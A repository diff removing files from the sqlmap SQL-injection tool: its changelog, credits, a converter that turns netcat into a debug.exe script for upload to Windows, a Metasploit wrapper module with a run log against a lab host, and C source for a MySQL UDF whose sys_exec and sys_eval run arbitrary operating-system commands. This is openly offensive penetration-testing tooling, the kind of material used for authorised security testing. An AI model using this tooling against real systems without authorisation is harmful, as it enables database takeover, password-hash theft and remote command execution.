* Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.)
installation binary packages;
* Created sqlmap .exe (Windows) portable executable;
* Save a lot of more information to the session file, useful when
resuming injection on the same target to not loose time on identifying
injection, UNION fields and back-end DBMS twice or more times;
* Improved automatic check for parenthesis when testing and forging SQL
query vector;
* Now it checks for SQL injection on all GET/POST/Cookie parameters then
it lets the user select which parameter to perform the injection on in
case that more than one is injectable;
* Implemented support for HTTPS requests over HTTP(S) proxy;
* Added a check to handle NULL or not available queries output;
* More entropy (randomStr() and randomInt() functions in
lib/core/common.py) in inband SQL injection concatenated query and in
AND condition checks;
* Improved XML files structure;
* Implemented the possibility to change the HTTP Referer header;
* Added support to resume from session file also when running with
inband SQL injection attack;
* Added an option (--os-shell) to execute operating system commands if
the back-end DBMS is MySQL, the web server has the PHP engine active
and permits write access on a directory within the document root;
* Added a check to assure that the provided string to match (--string)
is within the page content;
* Fixed various queries in XML file;
* Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted
the library to parse it;
* Fixed password fetching function, mainly for Microsoft SQL Server and
reviewed the password hashes parsing function;
* Major bug fixed to avoid tracebacks when the testable parameter(s) is
dynamic, but not injectable;
* Enhanced logging system: added three more levels of verbosity to show
also HTTP sent and received traffic;
* Enhancement to handle Set-Cookie from target url and automatically
re-establish the Session when it expires;
* Added support to inject also on Set-Cookie parameters;
* Implemented TAB completion and command history on both --sql-shell and
--os-shell;
* Renamed some command line options;
* Added a conversion library;
* Added code schema and reminders for future developments;
* Added Copyright comment and $Id$;
* Updated the command line layout and help messages;
* Updated some docstrings;
* Updated documentation files.
-- Bernardo Damele A. G. <[email protected]> Mon, 1 Sep 2008 10:00:00 +0100
sqlmap (0.5-1) stable; urgency=low
* Added support for Oracle database management system
* Extended inband SQL injection functionality (--union-use) to all
other possible queries since it only worked with -e and --file on
all DMBS plugins;
* Added support to extract database users password hash on Microsoft
SQL Server;
* Added a fuzzer function with the aim to parse HTML page looking
for standard database error messages consequently improving
database fingerprinting;
* Added support for SQL injection on HTTP Cookie and User-Agent headers;
* Reviewed HTTP request library (lib/request.py) to support the
extended inband SQL injection functionality. Splitted getValue()
into getInband() and getBlind();
* Major enhancements in common library and added checkForBrackets()
method to check if the bracket(s) are needed to perform a UNION query
SQL injection attack;
* Implemented --dump-all functionality to dump entire DBMS data from
all databases tables;
* Added support to exclude DBMS system databases' when enumeration
tables and dumping their entries (--exclude-sysdbs);
* Implemented in Dump.dbTableValues() method the CSV file dumped data
automatic saving in csv/ folder by default;
* Added DB2, Informix and Sybase DBMS error messages and minor
improvements in xml/errors.xml;
* Major improvement in all three DBMS plugins so now sqlmap does not
get entire databases' tables structure when all of database/table/
column are specified to be dumped;
* Important fixes in lib/option.py to make sqlmap properly work also
with python 2.5 and handle the CSV dump files creation work also
under Windows operating system, function __setCSVDir() and fixed
also in lib/dump.py;
* Minor enhancement in lib/injection.py to randomize the number
requested to test the presence of a SQL injection affected parameter
and implemented the possibilities to break (q) the for cycle when
using the google dork option (-g);
* Minor fix in lib/request.py to properly encode the url to request
in case the "fixed" part of the url has blank spaces;
* More minor layout enhancements in some libraries;
* Renamed DMBS plugins;
* Complete code refactoring, a lot of minor and some major fixes in
libraries, many minor improvements;
* Updated all documentation files.
-- Bernardo Damele A. G. <[email protected]> Sun, 4 Nov 2007 20:00:00 +0100
sqlmap (0.4-1) stable; urgency=low
* Added DBMS fingerprint based also upon HTML error messages parsing
defined in lib/parser.py which reads an XML file defining default
error messages for each supported DBMS;
* Added Microsoft SQL Server extensive DBMS fingerprint checks based
upon accurate '@@version' parsing matching on an XML file to get also
the exact patching level of the DBMS;
* Added support for query ETA (Estimated Time of Arrival) real time
calculation (--eta);
* Added support to extract database management system users password
hash on MySQL and PostgreSQL (--passwords);
* Added docstrings to all functions, classes and methods, consequently
released the sqlmap development documentation
<http://sqlmap.sourceforge.net/dev/>;
* Implemented Google dorking feature (-g) to take advantage of Google
results affected by SQL injection to perform other command line
argument on their DBMS;
* Improved logging functionality: passed from banal 'print' to Python
native logging library;
* Added support for more than one parameter in '-p' command line
option;
* Added support for HTTP Basic and Digest authentication methods
(--basic-auth and --digest-auth);
* Added the command line option '--remote-dbms' to manually specify
the remote DBMS;
* Major improvements in union.UnionCheck() and union.UnionUse()
functions to make it possible to exploit inband SQL injection also
with database comment characters ('--' and '#') in UNION query
statements;
* Added the possibility to save the output into a file while performing
the queries (-o OUTPUTFILE) so it is possible to stop and resume the
same query output retrieving in a second time (--resume);
* Added support to specify the database table column to enumerate
(-C COL);
* Added inband SQL injection (UNION query) support (--union-use);
* Complete code refactoring, a lot of minor and some major fixes in
libraries, many minor improvements;
* Reviewed the directory tree structure;
* Splitted lib/common.py: inband injection functionalities now are
moved to lib/union.py;
* Updated documentation files.
-- Bernardo Damele A. G. <[email protected]> Fri, 15 Jun 2007 20:00:00 +0100
sqlmap (0.3-1) stable; urgency=low
* Added module for MS SQL Server;
* Strongly improved MySQL dbms active fingerprint and added MySQL
comment injection check;
* Added PostgreSQL dbms active fingerprint;
* Added support for string match (--string);
* Added support for UNION check (--union-check);
* Removed duplicated code, delegated most of features to the engine
in common.py and option.py;
* Added support for --data command line argument to pass the string
for POST requests;
* Added encodeParams() method to encode url parameters before making
http request;
* Many bug fixes;
* Rewritten documentation files;
* Complete code restyling.
-- Bernardo Damele A. G. <[email protected]> Sat, 20 Jan 2007 20:00:00 +0100
sqlmap (0.2-1) stable; urgency=low
* complete refactor of entire program;
* added TODO and THANKS files;
* added some papers references in README file;
* moved headers to user-agents.txt, now -f parameter specifies a file
(user-agents.txt) and randomize the selection of User-Agent header;
* strongly improved program plugins (mysqlmap.py and postgres.py),
major enhancements:
* improved active mysql fingerprint check_dbms();
* improved enumeration functions for both databases;
* minor changes in the unescape() functions;
* replaced old inference algorithm with a new bisection algorithm.
* reviewed command line parameters, now with -p it's possible to
specify the parameter you know it's vulnerable to sql injection,
this way the script won't perform the sql injection checks itself;
removed the TOKEN parameter;
* improved Common class, adding support for http proxy and http post
method in hash_page;
* added OptionCheck class in option.py which performs all needed checks
on command line parameters and values;
* added InjectionCheck class in injection.py which performs check on
url stability, dynamics of parameters and injection on dynamic url
parameters;
* improved output methods in dump.py;
* layout enhancement on main program file (sqlmap.py), adapted to call
new option/injection classes and improvements on catching of
exceptions.
-- Bernardo Damele A. G. <[email protected]> Wed, 13 Dec 2006 20:00:00 +0100
-4393
View File
File diff suppressed because it is too large Load Diff
BIN
View File
Binary file not shown.
-4275
View File
File diff suppressed because it is too large Load Diff
-174
View File
@@ -1,174 +0,0 @@
== Individuals ==
Chip Andrews <[email protected]>
for his excellent work maintaining the SQL Server versions database
at SQLSecurity.com and permission to implement the update feature
taking data from his site
Jack Butler <[email protected]>
for providing me with the sqlmap site favicon
Karl Chen <[email protected]>
for providing with the multithreading patch for the inference
algorithm
Pierre Chifflier <[email protected]>
for uploading the sqlmap 0.6.2 Debian package to the official Debian
project repository
Stefano Di Paola <[email protected]>
for suggesting good features
Adam Faheem <[email protected]>
for reporting a few bugs
Jim Forster <[email protected]>
for reporting a bug
Rong-En Fan <[email protected]>
for commiting the sqlmap 0.5 port to the official FreeBSD project
repository
Giorgio Fedon <[email protected]>
for suggesting a speed improvement for bisection algorithm
for reporting a bug when running against Microsoft SQL Server 2005
Ivan Giacomelli <[email protected]>
for reporting a bug
for suggesting a minor enhancement
for reviewing the documentation
Davide Guerri <[email protected]>
for suggesting an enhancement
Kristian Erik Hermansen <[email protected]>
for reporting a bug
for donating to sqlmap development
Jorge Hoya <[email protected]>
for suggesting a minor enhancement
Will Holcomb <[email protected]>
for his MultipartPostHandler class to handle multipart POST forms and
permission to include it within sqlmap source code
Luke Jahnke <[email protected]>
for reporting a bug when running against MySQL < 5.0
Anant Kochhar <[email protected]>
for providing me with feedback on the user's manual
Nico Leidecker <[email protected]>
for providing me with feedback on a few features
Pavol Luptak <[email protected]>
for reporting a bug when injecting on a POST data parameter
Michael Majchrowicz <[email protected]>
for extensively beta-testing sqlmap on various MySQL DBMS
for providing really appreciated feedback
for suggesting a lot of ideas and features
Ferruh Mavituna <[email protected]>
for providing me with ideas on the implementation on a couple of
new features
Enrico Milanese <[email protected]>
for reporting a bugs when using (-a) a single line User-Agent file
for providing me with some ideas for the PHP backdoor
Roberto Nemirovsky <[email protected]>
for pointing me out some enhancements
Antonio Parata <[email protected]>
for providing me with some ideas for the PHP backdoor
Chris Patten <[email protected]>
for reporting a bug in the blind SQL injection bisection algorithm
Adam Pridgen <[email protected]>
for suggesting some features
Alberto Revelli <[email protected]>
for inspiring me to write sqlmap user's manual in SGML
for his great Microsoft SQL Server take over tool, sqlninja,
http://sqlninja.sourceforge.net
Andres Riancho <[email protected]>
for beta-testing sqlmap
for reporting a bug and suggesting some features
for including sqlmap in his great web application audit and attack
framework, w3af, http://w3af.sourceforge.net
Antonio Riva <[email protected]>
for reporting a bug when running with python 2.5
Richard Safran <[email protected]>
for donating the sqlmap.org domain control
Tomoyuki Sakurai <[email protected]>
for submitting to the FreeBSD project the sqlmap 0.5 port
Philippe A. R. Schaeffer <[email protected]>
for reporting a minor bug
Sven Schluter <[email protected]>
for providing with a patch for waiting a number of seconds between
each HTTP request
Uemit Seren <[email protected]>
for reporting a minor adjustment when running with python 2.6
Sumit Siddharth <[email protected]>
for providing me with ideas on the implementation on a couple of
features
M Simkin <[email protected]>
for suggesting a feature
Konrads Smelkovs <[email protected]>
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
SQL Server
Jason Swan <[email protected]>
for reporting a bug when enumerating columns on Microsoft SQL Server
for suggesting a couple of improvements
Alessandro Tanasi <[email protected]>
for extensively beta-testing sqlmap
for suggesting many features and reporting some bugs
for reviewing the documentation
Efrain Torres <[email protected]>
for helping me out to improve the Metasploit Framework 3 sqlmap
auxiliary module and for commiting it on the Metasploit official
Subversion repository
for his great Metasploit WMAP Framework
Sandro Tosi <[email protected]>
for helping to create sqlmap Debian package correctly
Bedirhan Urgun <[email protected]>
for reporting a few bugs
for suggesting some features and improvements
for benchmarking sqlmap in the context of his SQL injection
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
Kyprianos Vassilopoulos <[email protected]>
for reporting an unhandled connection exception
fufuh <[email protected]>
for reporting a bug when running on Windows
mariano <[email protected]>
for reporting a bug
Sylphid <[email protected]>
for suggesting some features
== Organizations ==
OWASP Board <http://www.owasp.org>
for sponsoring part of the sqlmap development in the context of OWASP
Spring of Code 2007
-24
View File
@@ -1,24 +0,0 @@
To use dbgtool.py you need to pass it the MS-DOS executable binary file,
and optionally the output debug.exe script file name.
Example:
$ python ./dbgtool.py -i ./nc.exe -o nc.scr
This will create a ASCII text file with CRLF line terminators called
nc.scr.
Such file can then be converted to its original portable executable with
the Windows native debug.exe, that is installed by default in all Windows
systems:
> debug.exe < nc.scr
To be able to execute it on Windows you have to rename it to end with
'.com' or '.exe':
> ren nc_exe nc.exe
Happy hacking!
Bernardo Damele A. G. <[email protected]>
-114
View File
@@ -1,114 +0,0 @@
#!/usr/bin/env python
"""
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: [email protected]
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import sys
import struct
from optparse import OptionError
from optparse import OptionParser
def convert(inputFile):
fileStat = os.stat(inputFile)
fileSize = fileStat.st_size
if fileSize > 65280:
print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
sys.exit(1)
script = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
script += "%x\r\nf 0100 ffff 00\r\n" % fileSize
scrString = ""
counter = 256
counter2 = 0
fp = open(inputFile, 'rb')
fileContent = fp.read()
for fileChar in fileContent:
unsignedFileChar = struct.unpack('B', fileChar)[0]
if unsignedFileChar != 0:
counter2 += 1
if not scrString:
scrString = "e %0x %02x" % (counter, unsignedFileChar)
else:
scrString += " %02x" % unsignedFileChar
elif scrString:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
counter += 1
if counter2 == 20:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
script += "w\r\nq\r\n"
return script
def main(inputFile, outputFile):
if not os.path.isfile(inputFile):
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
sys.exit(1)
script = convert(inputFile)
if outputFile:
fpOut = open(outputFile, 'w')
sys.stdout = fpOut
sys.stdout.write(script)
sys.stdout.close()
else:
print script
if __name__ == '__main__':
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')
try:
parser.add_option('-i', dest='inputFile', help='Input binary file')
parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
(args, _) = parser.parse_args()
if not args.inputFile:
parser.error('Missing the input file, -h for help')
except (OptionError, TypeError), e:
parser.error(e)
inputFile = args.inputFile
outputFile = args.outputFile
main(inputFile, outputFile)
-82
View File
@@ -1,82 +0,0 @@
To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
the example below.
Note that if you are willing to run Metasploit's sqlmap auxiliary module on
through WMAP framework you first need to install sqlmap on your system or
add its file system path to the PATH environment variable.
$ ./msfconsole
_ _ _ _
| | | | (_) |
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|
=[ msf v3.2-testing
+ -- --=[ 308 exploits - 173 payloads
+ -- --=[ 20 encoders - 6 nops
=[ 75 aux
msf > use auxiliary/scanner/http/wmap_sqlmap
msf auxiliary(wmap_sqlmap) > set RHOSTS 192.168.1.121
RHOSTS => 192.168.1.121
msf auxiliary(wmap_sqlmap) > set PATH /sqlmap/mysql/get_int.php
PATH => /sqlmap/mysql/get_int.php
msf auxiliary(wmap_sqlmap) > set QUERY id=1
QUERY => id=1
msf auxiliary(wmap_sqlmap) > set OPTS '--dbs --current-user'
OPTS => --dbs --current-user
msf auxiliary(wmap_sqlmap) > set SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py
msf auxiliary(wmap_sqlmap) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
BATCH true yes Never ask for user input, use the default behaviour
BODY no The data string to be sent through POST
METHOD GET yes HTTP Method
OPTS --dbs --current-user no The sqlmap options to use
PATH /sqlmap/mysql/get_int.php yes The path/file to test for SQL injection
Proxies no Use a proxy chain
QUERY id=1 no HTTP GET query
RHOSTS 192.168.1.121 yes The target address range or CIDR identifier
RPORT 80 yes The target port
SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py yes The sqlmap >= 0.6.1 full path
SSL false no Use SSL
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf auxiliary(wmap_sqlmap) > run
[*] exec: /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py -u 'http://192.168.1.121:80//sqlmap/mysql/get_int.php?id=1' --method GET --dbs --current-user --batch
SQLMAP:
SQLMAP: sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
SQLMAP: and Daniele Bellucci <[email protected]>
SQLMAP:
SQLMAP: [*] starting at: 16:23:19
SQLMAP:
SQLMAP: [16:23:20] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
SQLMAP: back-end DBMS: MySQL >= 5.0.0
SQLMAP:
SQLMAP: current user: 'testuser@localhost'
SQLMAP:
SQLMAP: available databases [3]:
SQLMAP: [*] information_schema
SQLMAP: [*] mysql
SQLMAP: [*] test
SQLMAP:
SQLMAP:
SQLMAP: [*] shutting down at: 16:23:21
SQLMAP:
[*] Auxiliary module execution completed
msf auxiliary(wmap_sqlmap) >
Happy hacking!
Bernardo Damele A. G. <[email protected]>
-95
View File
@@ -1,95 +0,0 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WMAPScanUniqueQuery
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'SQLMAP SQL Injection External Module',
'Description' => %q{
This module launch a sqlmap session.
sqlmap is an automatic SQL injection tool developed in Python.
Its goal is to detect and take advantage of SQL injection
vulnerabilities on web applications. Once it detects one
or more SQL injections on the target host, the user can
choose among a variety of options to perform an extensive
back-end database management system fingerprint, retrieve
DBMS session user and database, enumerate users, password
hashes, privileges, databases, dump entire or user
specific DBMS tables/columns, run his own SQL SELECT
statement, read specific files on the file system and much
more.
},
'Author' => [ 'bernardo.damele [at] gmail.com', 'daniele.bellucci [at] gmail.com' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['URL', 'http://sqlmap.sourceforge.net'],
]
))
register_options(
[
OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]),
OptString.new('PATH', [ true, "The path/file to test for SQL injection", 'index.php' ]),
OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]),
OptString.new('BODY', [ false, "The data string to be sent through POST", '' ]),
OptString.new('OPTS', [ false, "The sqlmap options to use", ' ' ]),
OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]),
OptBool.new('BATCH', [ true, "Never ask for user input, use the default behaviour", true ])
], self.class)
end
# Modify to true if you have sqlmap installed.
def wmap_enabled
false
end
# Test a single host
def run_host(ip)
sqlmap = datastore['SQLMAP_PATH']
if not sqlmap
print_error("The sqlmap script could not be found")
return
end
data = datastore['BODY']
method = datastore['METHOD'].upcase
sqlmap_url = (datastore['SSL'] ? "https" : "http")
sqlmap_url += "://" + self.target_host + ":" + datastore['RPORT']
sqlmap_url += "/" + datastore['PATH']
if method == "GET"
sqlmap_url += '?' + datastore['QUERY']
end
cmd = sqlmap + ' -u \'' + sqlmap_url + '\''
cmd += ' --method ' + method
cmd += ' ' + datastore['OPTS']
if not data.empty?
cmd += ' --data \'' + data + '\''
end
if datastore['BATCH'] == true
cmd += ' --batch'
end
print_status("exec: #{cmd}")
IO.popen( cmd ) do |io|
io.each_line do |line|
print_line("SQLMAP: " + line.strip)
end
end
end
end
@@ -1,4 +0,0 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
@@ -1,43 +0,0 @@
#!/bin/bash
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2007 Roland Bouman
# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
# web: http://www.mysqludf.org/
# email: [email protected], [email protected]
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
echo "Compiling the MySQL UDF"
make
if test $? -ne 0; then
echo "ERROR: You need libmysqlclient development software installed "
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install libmysqlclient15-dev"
exit 1
else
echo "MySQL UDF compiled successfully"
fi
echo -e "\nPlease provide your MySQL root password"
mysql -u root -p mysql < lib_mysqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "MySQL UDF installed successfully"
fi
@@ -1,426 +0,0 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: [email protected], [email protected]
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#endif
#ifdef STANDARD
#include <string.h>
#include <stdlib.h>
#include <time.h>
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
#else
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#else
#include <my_global.h>
#include <my_sys.h>
#endif
#include <mysql.h>
#include <m_ctype.h>
#include <m_string.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef HAVE_DLOPEN
#ifdef __cplusplus
extern "C" {
#endif
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
#else
#define SETENV(name,value) setenv(name,value,1);
#endif
DLLEXP
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
);
DLLEXP
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_get
*
* Gets the value of the specified environment variable.
*/
DLLEXP
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_get_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_set
*
* Sets the value of the environment variables.
* This function accepts a set of name/value pairs
* which are then set as environment variables.
* Use sys_get to retrieve the value of such a variable
*/
DLLEXP
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_set_deinit(
UDF_INIT *initid
);
DLLEXP
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_exec
*
* executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_exec_deinit(
UDF_INIT *initid
);
DLLEXP
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_eval
*
* executes the argument commandstring and returns its standard output.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_eval_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
#ifdef __cplusplus
}
#endif
/**
* lib_mysqludf_sys_info
*/
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
my_bool status;
if(args->arg_count!=0){
strcpy(
message
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
);
status = 1;
} else {
status = 0;
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
strcpy(result,LIBVERSION);
*length = strlen(LIBVERSION);
return result;
}
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count==1
&& args->arg_type[0]==STRING_RESULT){
initid->maybe_null = 1;
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
char* value = getenv(args->args[0]);
if(value == NULL){
*is_null = 1;
} else {
*length = strlen(value);
}
return value;
}
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count!=2){
strcpy(
message
, "Expected exactly two arguments"
);
return 1;
}
if(args->arg_type[0]!=STRING_RESULT){
strcpy(
message
, "Expected string type for name parameter"
);
return 1;
}
args->arg_type[1]=STRING_RESULT;
if((initid->ptr=malloc(
args->lengths[0]
+ 1
+ args->lengths[1]
+ 1
))==NULL){
strcpy(
message
, "Could not allocate memory"
);
return 1;
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
if (initid->ptr!=NULL){
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
char *name = initid->ptr;
char *value = name + args->lengths[0] + 1;
memcpy(
name
, args->args[0]
, args->lengths[0]
);
*(name + args->lengths[0]) = '\0';
memcpy(
value
, args->args[1]
, args->lengths[1]
);
*(value + args->lengths[1]) = '\0';
return SETENV(name,value);
}
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
return system(args->args[0]);
}
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
FILE *pipe;
char line[1024];
unsigned long outlen, linelen;
result = malloc(1);
outlen = 0;
pipe = popen(args->args[0], "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen] = 0x00;
*length = strlen(result);
}
return result;
}
#endif /* HAVE_DLOPEN */
@@ -1,278 +0,0 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" type="text/css" href="../mysqludf.css"/>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>lib_mysqludf_sys - A library of MySQL UDFs for working with the environment in which MySQL runs</title>
</head>
<body>
<div>
<a href="../index.html">Top</a>
| <a href="../mysql_udf_repository_libraries.html">Up</a>
</div>
<h1>lib_mysqludf_sys</h1>
<div>
<a href="lib_mysqludf_sys.html">Documentation</a>
| <a href="lib_mysqludf_sys.so">Binary</a>
| <a href="lib_mysqludf_sys.sql">Installation</a>
| <a href="lib_mysqludf_sys.c">Source</a>
| <a href="lib_mysqludf_sys_0.0.2.tar.gz">tar.gz</a>
</div>
<p>
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
<li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
<li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
<p>
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
<a name="sys_eval"></a><h2>sys_eval</h2>
<p>
<code>sys_eval</code> takes one command string argument and executes it, returning its output.
</p>
<h3>Syntax</h3>
<pre>sys_eval(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
Whatever output the command pushed to the standard output stream.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_eval;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
